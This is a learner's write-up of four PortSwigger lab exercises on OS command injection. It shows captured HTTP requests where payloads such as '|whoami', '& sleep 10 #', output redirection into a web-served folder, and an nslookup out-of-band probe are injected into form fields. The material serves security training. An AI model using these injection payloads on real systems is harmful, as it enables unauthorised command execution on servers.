OS Command Injection

OS command injection is also known as shell injection. It allows an attacker to execute operating system (OS) commands
on the server that is running an application, and typically fully compromise the application and its data.
Often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure,
and exploit trust relationships to pivot the attack to other systems within the organization.

Lab-01

Simple Case

This lab contains an OS command injection vulnerability in the product stock checker.

The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.

To solve the lab, execute the `whoami` command to determine the name of the current user.

- Intercepting the request and injecting payload.

```
POST /product/stock HTTP/2
Host: 0aa100ea030398e5817402bd005500fa.web-security-academy.net
Cookie: session=T2QKDZCKfsYiHDm6b4zfC0c60NwYYHus
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aa100ea030398e5817402bd005500fa.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://0aa100ea030398e5817402bd005500fa.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

productId=1&storeId=1
```

Injecting payload:

```
POST /product/stock HTTP/2
Host: 0aa100ea030398e5817402bd005500fa.web-security-academy.net
Cookie: session=T2QKDZCKfsYiHDm6b4zfC0c60NwYYHus
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aa100ea030398e5817402bd005500fa.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: https://0aa100ea030398e5817402bd005500fa.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

productId=1&storeId=1|whoami
```

Lab-02

Blind OS Command Injection with Time Delays

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.

To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.

Analyzing the request:

```
POST /feedback/submit HTTP/2
Host: 0adf00470426f5b082768f56009e0079.web-security-academy.net
Cookie: session=pVds3FaqttgzVR8USlvQ2n1tp1XChGwr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0adf00470426f5b082768f56009e0079.web-security-academy.net
Referer: https://0adf00470426f5b082768f56009e0079.web-security-academy.net/feedback
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrf=Hjpa4aXIJQYgIS6PLwAhCC7oLJYB5dum&name=test&email=test%40gmail.com&subject=test&message
=test
```

Injecting payload:

Payload : **& sleep 10 #**
- Email parameter seems vulnerable.

```
POST /feedback/submit HTTP/2
Host: 0adf00470426f5b082768f56009e0079.web-security-academy.net
Cookie: session=pVds3FaqttgzVR8USlvQ2n1tp1XChGwr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Origin: https://0adf00470426f5b082768f56009e0079.web-security-academy.net
Referer: https://0adf00470426f5b082768f56009e0079.web-security-academy.net/feedback
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrf=Hjpa4aXIJQYgIS6PLwAhCC7oLJYB5dum&name=test&email=test%40gmail.com %26+sleep+10+%23
&subject=test&message=test
```

Lab-03

Blind OS Command Injection with Output Redirection

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:

```
/var/www/images/
```

The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file.

To solve the lab, execute the `whoami` command and retrieve the output.

- Analyzing the request:

```
POST /feedback/submit HTTP/2
Host: 0ae000cf03efb3f8840209f900d9007d.web-security-academy.net
Cookie: session=VNnFEZRv5LNw9zU7StsXynpRGWHoKA1K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0ae000cf03efb3f8840209f900d9007d.web-security-academy.net
Referer: https://0ae000cf03efb3f8840209f900d9007d.web-security-academy.net/feedback
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrf=9XVawIKKypL9nDlnwaO4W5fNeq3sTzAw&name=test&email=test%40gmail.com&subject=test&message=
test
```

- Injecting payload:

Payload: **& whoami > /var/www/images/data.txt #**

```
POST /feedback/submit HTTP/2
Host: 0ae000cf03efb3f8840209f900d9007d.web-security-academy.net
Cookie: session=VNnFEZRv5LNw9zU7StsXynpRGWHoKA1K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Origin: https://0ae000cf03efb3f8840209f900d9007d.web-security-academy.net
Referer: https://0ae000cf03efb3f8840209f900d9007d.web-security-academy.net/feedback
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrf=9XVawIKKypL9nDlnwaO4W5fNeq3sTzAw&name=test&email=test%40gmail.com
%26+whoami+>+/var/www/images/data.txt+%23 &subject=test&message=test
```

Checking if we got the file.

```
GET /image?filename=data.txt HTTP/2
Host: 0ae000cf03efb3f8840209f900d9007d.web-security-academy.net
Cookie: session=VNnFEZRv5LNw9zU7StsXynpRGWHoKA1K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ae000cf03efb3f8840209f900d9007d.web-security-academy.net/product?productId=1
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers


```

```
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 13

peter-Cn64oS

```

Got the command's output successfully.

Lab-04

Blind OS Command Injection with Out-of-Band Interaction

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.

- Same old feedback request.

- Injecting payload:

Payload: **& nslookup url #**

- These labs cannot be done without **burpsuite pro** so I am leaving it.

> **Note**
>
> To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server.